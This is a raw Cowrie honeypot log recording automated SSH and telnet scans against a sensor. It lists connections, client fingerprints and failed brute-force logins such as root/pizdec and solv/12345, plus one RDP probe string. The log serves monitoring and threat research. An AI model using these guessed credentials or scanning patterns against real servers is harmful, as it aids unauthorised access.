{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:f5:41:8d:6a:86:1b:db:9e:31:be:84:f9:7b:3d:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwkaewYQ9G8qpleFK8c2nmCG+m8DnuuQ6vwmaP8a24q3PgSkALdlgg7JXgKv4g6Zt13I3p4AxxjvD84Br5yaKEAC0+TU6vTkLjG0fITGolkFWQOytMgwpO6o3tjjGYs7IHcu4gf4LLOVLBS3R2HWnvRbHa9k4fsILeuvAhtHzBtZ467TuSpb5FDBwgF2WD4tvPuAPS11f8XgOI2uFTaK2i3+93U7zULn1UUUZkMAocDQH+QR3iYl7EdZvrWqwzZMDDqvYrfEou7ye6uH+TXISezsZoqwvONqGYBgpGT9Uvk5fqxYr6gfcumXvCfxDEiL5Wfz26b5pIB2BKCpA5Sv6R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.915666Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:95:ad:ef:75:d6:34:74:d5:f6:ba:9c:00:cf:dd:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSYqyopVyfPl1otkUkumF7rn2mrlhjHyemYCspmGKCeGn8GtF+U7dB+jYS019tWy4T+o+BE2gKI/Zfcfc1OQRh+bVmL+/5Be+YwJyi/7mjZSRTT2Z+kFjekRyx2ERTxid8HJTteA0kpYcIq91FNlEgpKLkkQAdduZcBT7hyizmHh1lu4JrM8mRvMKvLFimmQr6TT3xOYL2T3bvcBxpnNSD3lWVckSN4JeZq3I7aOfJu57kRSjbdYnIdVwXrU9Pb8V1ypf18fvlWAshSiiTqKEECRbdqkkkWpKZEC/I+2B5z65w0Cj7bDIDsQ7k+uDn0hyk7MFSTu/MtcRKI2bvYLYT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:95:ad:ef:75:d6:34:74:d5:f6:ba:9c:00:cf:dd:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.926379Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:95:ad:ef:75:d6:34:74:d5:f6:ba:9c:00:cf:dd:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSYqyopVyfPl1otkUkumF7rn2mrlhjHyemYCspmGKCeGn8GtF+U7dB+jYS019tWy4T+o+BE2gKI/Zfcfc1OQRh+bVmL+/5Be+YwJyi/7mjZSRTT2Z+kFjekRyx2ERTxid8HJTteA0kpYcIq91FNlEgpKLkkQAdduZcBT7hyizmHh1lu4JrM8mRvMKvLFimmQr6TT3xOYL2T3bvcBxpnNSD3lWVckSN4JeZq3I7aOfJu57kRSjbdYnIdVwXrU9Pb8V1ypf18fvlWAshSiiTqKEECRbdqkkkWpKZEC/I+2B5z65w0Cj7bDIDsQ7k+uDn0hyk7MFSTu/MtcRKI2bvYLYT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.931260Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:09.943835Z","src_ip":"172.93.102.236","session":"123572281ddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.86798810958862,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:11.255580Z","src_ip":"152.42.224.71","session":"86b9cb8e240e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00159883499146,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:11.625842Z","src_ip":"152.42.224.71","session":"02cfee91e8ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0080144405365,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:17.973165Z","src_ip":"152.42.224.71","session":"ac16c6baad15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.629565715789795,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:30:51.752644Z","src_ip":"152.42.224.71","session":"92233744ee1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49824,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1c0ff0dbafe","protocol":"ssh","message":"New connection: 80.94.92.184:49824 (10.17.0.5:22) [session: d1c0ff0dbafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:31:49.154068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:31:49.163003Z","src_ip":"80.94.92.184","session":"d1c0ff0dbafe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:31:49.519920Z","src_ip":"80.94.92.184","session":"d1c0ff0dbafe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345","message":"login attempt [solv/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:31:50.270335Z","src_ip":"80.94.92.184","session":"d1c0ff0dbafe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:31:51.432433Z","src_ip":"80.94.92.184","session":"d1c0ff0dbafe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35592,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b13feee78ac","protocol":"telnet","message":"New connection: 152.42.224.71:35592 (10.17.0.5:23) [session: 8b13feee78ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:33:29.958685Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35598,"dst_ip":"10.17.0.5","dst_port":23,"session":"75c6e5d732a8","protocol":"telnet","message":"New connection: 152.42.224.71:35598 (10.17.0.5:23) [session: 75c6e5d732a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:33:32.214959Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":35788,"dst_ip":"159.203.135.109","dst_port":22,"session":"db25f9bbf5e0","protocol":"ssh","message":"New connection: 62.133.62.83:35788 (159.203.135.109:22) [session: db25f9bbf5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:33:34.231747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:33:34.237652Z","src_ip":"62.133.62.83","session":"db25f9bbf5e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:33:34.316660Z","src_ip":"62.133.62.83","session":"db25f9bbf5e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:33:34.552620Z","src_ip":"62.133.62.83","session":"db25f9bbf5e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:33:35.633189Z","src_ip":"62.133.62.83","session":"db25f9bbf5e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.481019020080566,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:33:57.439566Z","src_ip":"152.42.224.71","session":"8b13feee78ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.13919019699097,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:08.354059Z","src_ip":"152.42.224.71","session":"75c6e5d732a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.102.102.204","src_port":59414,"dst_ip":"159.203.135.109","dst_port":23,"session":"1638ab28ac9c","protocol":"telnet","message":"New connection: 102.102.102.204:59414 (159.203.135.109:23) [session: 1638ab28ac9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:21.521478Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57590,"dst_ip":"10.17.0.5","dst_port":22,"session":"c55fae90309d","protocol":"ssh","message":"New connection: 152.42.212.128:57590 (10.17.0.5:22) [session: c55fae90309d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:24.686977Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:24.692497Z","src_ip":"152.42.212.128","session":"c55fae90309d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:24.696714Z","src_ip":"152.42.212.128","session":"c55fae90309d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.06047773361206,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:35.581846Z","src_ip":"102.102.102.204","session":"1638ab28ac9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52450,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cf38ebfa901","protocol":"ssh","message":"New connection: 80.94.92.184:52450 (10.17.0.5:22) [session: 4cf38ebfa901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:39.566808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:39.801306Z","src_ip":"80.94.92.184","session":"4cf38ebfa901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:39.805210Z","src_ip":"80.94.92.184","session":"4cf38ebfa901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12","message":"login attempt [solv/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:41.212515Z","src_ip":"80.94.92.184","session":"4cf38ebfa901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:42.623717Z","src_ip":"80.94.92.184","session":"4cf38ebfa901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":32904,"dst_ip":"10.17.0.5","dst_port":22,"session":"a723464a7191","protocol":"ssh","message":"New connection: 87.251.79.125:32904 (10.17.0.5:22) [session: a723464a7191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:48.840395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:48.844800Z","src_ip":"87.251.79.125","session":"a723464a7191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:48.915807Z","src_ip":"87.251.79.125","session":"a723464a7191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pizdec","message":"login attempt [root/pizdec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:49.128536Z","src_ip":"87.251.79.125","session":"a723464a7191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:34:50.202348Z","src_ip":"87.251.79.125","session":"a723464a7191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.131.189","src_port":60664,"dst_ip":"10.17.0.5","dst_port":22,"session":"b65ef9268484","protocol":"ssh","message":"New connection: 176.65.131.189:60664 (10.17.0.5:22) [session: b65ef9268484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:07.094259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:07.099403Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:07.200747Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:ea:c7:b3:3b:43:72:6d:15:c1:bf:f8:c4:d0:ff:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuaIdv9VuU+3bTgD4073uBMSXySLG8xSeFkWz88aXazklT/h1aAyc2riJj3AZAKWExxqne0ODyRnl61n4hNVa+m0z+ntJLMd+o51epzvcoTXHbXbf+4Cwipru7hK4ENV0rYytLfudIO6JleOojdQdrxkwzgXChemNajFq9gPua6JXI6EP4RGJfD6u52pS3NldnJ/t4U+3cTC+xbDj7Viclz+rt7M735fWmypZ+9odgxg+LexmJz5PMMWSq1LSTZunGoek6nIWBoVympJN0rnmnj5+zoP7JKBOooOowLRjX7RlVFBz0mJgGjpSkUjeNMmw6en0+KAzTtkVWhPzUy2bIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:ea:c7:b3:3b:43:72:6d:15:c1:bf:f8:c4:d0:ff:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:07.683960Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:ea:c7:b3:3b:43:72:6d:15:c1:bf:f8:c4:d0:ff:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuaIdv9VuU+3bTgD4073uBMSXySLG8xSeFkWz88aXazklT/h1aAyc2riJj3AZAKWExxqne0ODyRnl61n4hNVa+m0z+ntJLMd+o51epzvcoTXHbXbf+4Cwipru7hK4ENV0rYytLfudIO6JleOojdQdrxkwzgXChemNajFq9gPua6JXI6EP4RGJfD6u52pS3NldnJ/t4U+3cTC+xbDj7Viclz+rt7M735fWmypZ+9odgxg+LexmJz5PMMWSq1LSTZunGoek6nIWBoVympJN0rnmnj5+zoP7JKBOooOowLRjX7RlVFBz0mJgGjpSkUjeNMmw6en0+KAzTtkVWhPzUy2bIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:07.699557Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:3c:98:f2:65:6d:54:23:d1:8f:5d:b5:90:d4:6c:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsO3BAjQpnnwxtuxySWHcXXldrV32Tslbf7u52tDK3Ry8+HYVQYIwvhoSWdPmMaf4BWJtQeMhOUP9WK8PinV2UnAUOEgkIy1TKCPwdH04GhUrPEBOXMmEjX6t2/IhyZ8XCmNHWinm+jzIpIbJ5mSkEmtoXV+IEeBGkxVtuEI/RANGyNkoX5yorFl/z1KYgUHrsUENSFL+DlXlX5fqiUAwZG1MnF7SVJGqzf02Rtzg2TzoJ22paJtjWUss3zoMwE3I558gAYejIveFOAIDLmKsqeGYpdh93N02+KWrRNmrw4OfWyarlR/wXuZXDG3O6VolRVijScfXvNHQzww4eOeHD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:3c:98:f2:65:6d:54:23:d1:8f:5d:b5:90:d4:6c:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:07.809590Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
